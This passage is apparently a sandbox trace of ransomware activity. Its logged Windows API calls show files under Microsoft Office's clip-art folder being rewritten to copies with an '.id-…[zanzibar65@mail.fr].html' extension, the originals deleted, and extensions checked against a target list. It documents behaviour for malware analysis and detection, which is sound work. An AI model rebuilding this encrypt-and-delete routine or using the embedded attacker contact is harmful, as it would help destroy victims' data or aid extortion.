lpString2=".WMF") returned -1 [0058.682] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.682] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0058.683] GetLastError () returned 0x0 [0058.683] ReadFile (in: hFile=0x258, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x1f26, lpOverlapped=0x0) returned 1 [0058.684] WriteFile (in: hFile=0x22c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x1f30, lpOverlapped=0x0) returned 1 [0058.685] ReadFile (in: hFile=0x258, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.685] WriteFile (in: hFile=0x22c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.685] SetEndOfFile (hFile=0x22c) returned 1 [0058.685] CloseHandle (hObject=0x22c) returned 1 [0058.685] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.685] SetEndOfFile (hFile=0x258) returned 1 [0058.686] CloseHandle (hObject=0x258) returned 1 [0058.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0058.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf")) returned 1 [0058.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0058.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0058.687] lstrlenW (lpString=".doc") returned 4 [0058.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.687] lstrlenW (lpString=".docx") returned 5 [0058.687] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.687] lstrlenW (lpString=".pdf") returned 4 [0058.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.687] lstrlenW (lpString=".xls") returned 4 [0058.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.687] lstrlenW (lpString=".xlsx") returned 5 [0058.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.687] lstrlenW (lpString=".ppt") returned 4 [0058.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0058.687] lstrlenW (lpString=".zip") returned 4 [0058.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.687] lstrlenW (lpString=".rar") returned 4 [0058.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.687] lstrlenW (lpString=".bz2") returned 4 [0058.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.687] lstrlenW (lpString=".7z") returned 3 [0058.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0058.688] lstrlenW (lpString=".dbf") returned 4 [0058.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0058.688] lstrlenW (lpString=".1cd") returned 4 [0058.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0058.688] lstrlenW (lpString=".jpg") returned 4 [0058.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.688] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.688] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0058.688] GetLastError () returned 0x0 [0058.688] ReadFile (in: hFile=0x258, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x94a, lpOverlapped=0x0) returned 1 [0058.690] WriteFile (in: hFile=0x22c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x950, lpOverlapped=0x0) returned 1 [0058.691] ReadFile (in: hFile=0x258, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.691] WriteFile (in: hFile=0x22c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.691] SetEndOfFile (hFile=0x22c) returned 1 [0058.691] CloseHandle (hObject=0x22c) returned 1 [0058.691] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.691] SetEndOfFile (hFile=0x258) returned 1 [0058.692] CloseHandle (hObject=0x258) returned 1 [0058.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0058.692] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf")) returned 1 [0058.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0058.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0058.693] lstrlenW (lpString=".doc") returned 4 [0058.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.693] lstrlenW (lpString=".docx") returned 5 [0058.693] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.693] lstrlenW (lpString=".pdf") returned 4 [0058.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.693] lstrlenW (lpString=".xls") returned 4 [0058.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.693] lstrlenW (lpString=".xlsx") returned 5 [0058.693] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.693] lstrlenW (lpString=".ppt") returned 4 [0058.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0058.693] lstrlenW (lpString=".zip") returned 4 [0058.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.693] lstrlenW (lpString=".rar") returned 4 [0058.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.693] lstrlenW (lpString=".bz2") returned 4 [0058.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.693] lstrlenW (lpString=".7z") returned 3 [0058.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0058.694] lstrlenW (lpString=".dbf") returned 4 [0058.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0058.694] lstrlenW (lpString=".1cd") returned 4 [0058.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0058.694] lstrlenW (lpString=".jpg") returned 4 [0058.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.694] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.694] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0058.694] GetLastError () returned 0x0 [0058.694] ReadFile (in: hFile=0x258, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x414, lpOverlapped=0x0) returned 1 [0058.696] WriteFile (in: hFile=0x22c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x420, lpOverlapped=0x0) returned 1 [0058.699] ReadFile (in: hFile=0x258, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.699] WriteFile (in: hFile=0x22c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.699] SetEndOfFile (hFile=0x22c) returned 1 [0058.700] CloseHandle (hObject=0x22c) returned 1 [0058.700] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.700] SetEndOfFile (hFile=0x258) returned 1 [0058.700] CloseHandle (hObject=0x258) returned 1 [0058.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0058.701] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00135_.wmf")) returned 1 [0058.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0058.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0058.701] lstrlenW (lpString=".doc") returned 4 [0058.701] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.701] lstrlenW (lpString=".docx") returned 5 [0058.701] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.701] lstrlenW (lpString=".pdf") returned 4 [0058.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.701] lstrlenW (lpString=".xls") returned 4 [0058.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.701] lstrlenW (lpString=".xlsx") returned 5 [0058.701] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.701] lstrlenW (lpString=".ppt") returned 4 [0058.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0058.702] lstrlenW (lpString=".zip") returned 4 [0058.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.702] lstrlenW (lpString=".rar") returned 4 [0058.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.702] lstrlenW (lpString=".bz2") returned 4 [0058.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.702] lstrlenW (lpString=".7z") returned 3 [0058.702] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0058.702] lstrlenW (lpString=".dbf") returned 4 [0058.702] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0058.702] lstrlenW (lpString=".1cd") returned 4 [0058.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 63 [0058.702] lstrlenW (lpString=".jpg") returned 4 [0058.702] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.702] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.702] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0058.703] GetLastError () returned 0x0 [0058.703] ReadFile (in: hFile=0x258, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x876, lpOverlapped=0x0) returned 1 [0058.704] WriteFile (in: hFile=0x22c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x880, lpOverlapped=0x0) returned 1 [0058.705] ReadFile (in: hFile=0x258, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.705] WriteFile (in: hFile=0x22c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0058.705] SetEndOfFile (hFile=0x22c) returned 1 [0058.705] CloseHandle (hObject=0x22c) returned 1 [0058.705] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.705] SetEndOfFile (hFile=0x258) returned 1 [0058.706] CloseHandle (hObject=0x258) returned 1 [0058.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0058.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00136_.wmf")) returned 1 [0058.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0058.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0058.707] lstrlenW (lpString=".doc") returned 4 [0058.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.707] lstrlenW (lpString=".docx") returned 5 [0058.707] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.707] lstrlenW (lpString=".pdf") returned 4 [0058.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.707] lstrlenW (lpString=".xls") returned 4 [0058.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.707] lstrlenW (lpString=".xlsx") returned 5 [0058.707] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.707] lstrlenW (lpString=".ppt") returned 4 [0058.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0058.707] lstrlenW (lpString=".zip") returned 4 [0058.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.707] lstrlenW (lpString=".rar") returned 4 [0058.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.707] lstrlenW (lpString=".bz2") returned 4 [0058.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.707] lstrlenW (lpString=".7z") returned 3 [0058.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0058.707] lstrlenW (lpString=".dbf") returned 4 [0058.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0058.707] lstrlenW (lpString=".1cd") returned 4 [0058.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 63 [0058.707] lstrlenW (lpString=".jpg") returned 4 [0058.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.728] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1712) returned 1 [0059.728] CloseHandle (hObject=0x1ac) returned 1 [0059.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x20 [0059.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0059.729] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.729] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0059.729] GetLastError () returned 0x0 [0059.729] ReadFile (in: hFile=0x1ac, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x6b0, lpOverlapped=0x0) returned 1 [0059.731] WriteFile (in: hFile=0x258, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x6c0, lpOverlapped=0x0) returned 1 [0059.733] ReadFile (in: hFile=0x1ac, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.733] WriteFile (in: hFile=0x258, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.733] SetEndOfFile (hFile=0x258) returned 1 [0059.733] CloseHandle (hObject=0x258) returned 1 [0059.733] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.733] SetEndOfFile (hFile=0x1ac) returned 1 [0059.734] CloseHandle (hObject=0x1ac) returned 1 [0059.734] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0059.734] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf")) returned 1 [0059.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0059.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0059.734] lstrlenW (lpString=".doc") returned 4 [0059.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.734] lstrlenW (lpString=".docx") returned 5 [0059.734] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.734] lstrlenW (lpString=".pdf") returned 4 [0059.734] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.734] lstrlenW (lpString=".xls") returned 4 [0059.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.735] lstrlenW (lpString=".xlsx") returned 5 [0059.735] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.735] lstrlenW (lpString=".ppt") returned 4 [0059.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0059.735] lstrlenW (lpString=".zip") returned 4 [0059.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.735] lstrlenW (lpString=".rar") returned 4 [0059.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.735] lstrlenW (lpString=".bz2") returned 4 [0059.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.735] lstrlenW (lpString=".7z") returned 3 [0059.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0059.735] lstrlenW (lpString=".dbf") returned 4 [0059.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0059.735] lstrlenW (lpString=".1cd") returned 4 [0059.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0059.735] lstrlenW (lpString=".jpg") returned 4 [0059.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.736] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=5580) returned 1 [0059.736] CloseHandle (hObject=0x1ac) returned 1 [0059.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x20 [0059.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0059.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0059.736] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: 